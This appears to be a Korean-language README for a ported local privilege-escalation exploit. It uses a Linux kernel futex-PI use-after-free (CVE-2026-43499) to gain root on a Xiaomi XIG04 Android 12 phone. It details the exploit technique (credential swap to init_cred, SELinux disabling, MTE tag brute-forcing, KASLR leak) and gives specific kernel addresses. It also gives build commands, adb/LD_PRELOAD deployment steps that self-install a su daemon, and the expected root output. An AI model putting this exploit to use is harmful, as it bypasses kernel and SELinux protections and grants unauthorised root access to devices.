
aristotle (au/KDDI Xiaomi XIG04)Android 12를 실행하는 **au/KDDI Xiaomi "aristotle" (XIG04)**용 로컬 권한 상승(tmp-root)으로, CVE-2026-43499를 이용합니다. 기기 소유자 루팅 프리미티브(device-owner rooting primitive)로서, 예를 들어 개발자 옵션에 접근할 수 없을 때 ADB를 다시 활성화하기 위해 자신의 휴대폰을 루팅합니다.
이 프로젝트는 업스트림 구현체의 aristotle 포트입니다:
https://github.com/x-spy/CVE-2026-43499-popsicle — Xiaomi 17 / Pro / Ultra(popsicle, Snapdragon, Android 16, 커널 6.12.23)를 대상으로 합니다. 익스플로잇 기술에 대한 모든 공로는 업스트림에 있으며, 이 포크는 단지 다른 기기와 커널 세대로 대상을 변경한 것입니다.
범위: 다음 펌웨어를 실행하는 본인 소유의 XIG04
Xiaomi/XIG04_jp_kdi/XIG04:12/SP1A.210812.016/V14.0.3.0.TMFJPKD. 범용 또는 원격 익스플로잇이 아닙니다.
device : aristotle (au/KDDI XIG04), MediaTek, Android 12
kernel : 5.10.136-android12-9-00020-gc9f59ef34367-ab9585114 (VA=39, 4K pages, KASLR)
CVE-2026-43499는 Linux 커널 Futex-PI 경로의 use-after-free 취약점입니다:
futex_requeue()의 프록시 락 롤백 중 kernel/locking/rtmutex.c의 remove_waiter()가 waiter::task 대신 current를 대상으로 동작하여 pi_blocked_on이 댕글링 상태로 남습니다. 이는 오래되고 오랜 기간 유지된 버그로, Linux 2.6.39 – 6.18.x에 영향을 주므로 여기의 5.10.136 커널도 해당 범위에 포함됩니다(CONFIG_FUTEX_PI=y, CONFIG_RT_MUTEXES=y). 이 익스플로잇은 데이터 전용 "direct-root"를 사용하여(cred → init_cred 교체, SELinux enforcing 비활성화) 기기의 강화 조치(KASAN_HW_TAGS, MTE, CFI, )를 우회하기 위해 MTE 태그를 브루트포스합니다.
업스트림은 Snapdragon / Android 16 / 커널 6.12를 대상으로 하지만, aristotle은 MediaTek / Android 12 / 커널 5.10을 사용하므로, 이 포트는 기기별 요소를 모두 다시 도출합니다:
rt_mutex_waiter는 기존의 평면(flat) 5.10 레이아웃입니다 (중첩된 rt_waiter_node나 wake_state/ww_ctx 없음). source/src/{slide,fops}.c 및 source/src/util.c의 fake-waiter 테이블은 13 words에서 10 words로 재구성되었습니다.xbl_config 없음. KASLR은 동적으로 무력화됩니다 (slide.c의 커널 정보 유출). 업스트림이 Qualcomm XBL에서 가져온 두 물리 상수는 정적 DRAM 베이스(0x40000000, 디바이스 트리에서 가져옴)와 런타임 memstart_addr / kimage_voffset으로 대체되었습니다.ARISTOTLE_CVE43499_PORT.md 참조.XIG04용으로 측정된 source/src/target.h가 이미 커밋되어 있으므로 바로 빌드할 수 있습니다. 부트 이미지에서 다시 생성하려면 aristotle 생성기를 사용하세요 (--xbl-config 없이; 동적 사용을 위해 memstart_addr/kimage_voffset RVA를 출력합니다):
python3 gen_aristotle_target.py \
--boot boot.img \
--pselect-shift 0 \
--loggers 0xffffffc012771380 \
--boot-id-data 0xffffffc012886cf8 \
--kernel-phys-load 0x40080000 \
-o source/src/target.h
(세 앵커와 kernel-phys-load 값은 커밋된 헤더에 포함된 값입니다. 이 값들이 어떻게 얻어졌는지는 ARISTOTLE_CVE43499_PORT.md를 참조하세요.)
Python 3와 Android NDK(r29)가 필요합니다. Android 12에서 페이로드가 로드되도록 API=31이 필요합니다:
make -C source clean preload API=31
NDK가 자동 감지되지 않으면:
NDK_ROOT=/path/to/android-ndk make -C source clean preload API=31
최종 산출물:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
성공하면:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
preload.so는 로드될 때 자체 su 클라이언트와 데몬을 내장 및 자가 설치하므로 별도의 su 바이너리가 필요하지 않습니다.
상태: 이 포트는 정적 분석 기준으로 코드가 완성되었지만 아직 하드웨어에서 검증되지 않았습니다. 먼저 크래시 트리거를 검증한 다음, 본인 소유 기기에서 루팅하세요. 커널별 튜닝 항목(
MM_ORDER,P0_KERNEL_PHYS_LOAD, 평면 waiter 동작)은ARISTOTLE_CVE43499_PORT.md에 나열되어 있습니다.
SCS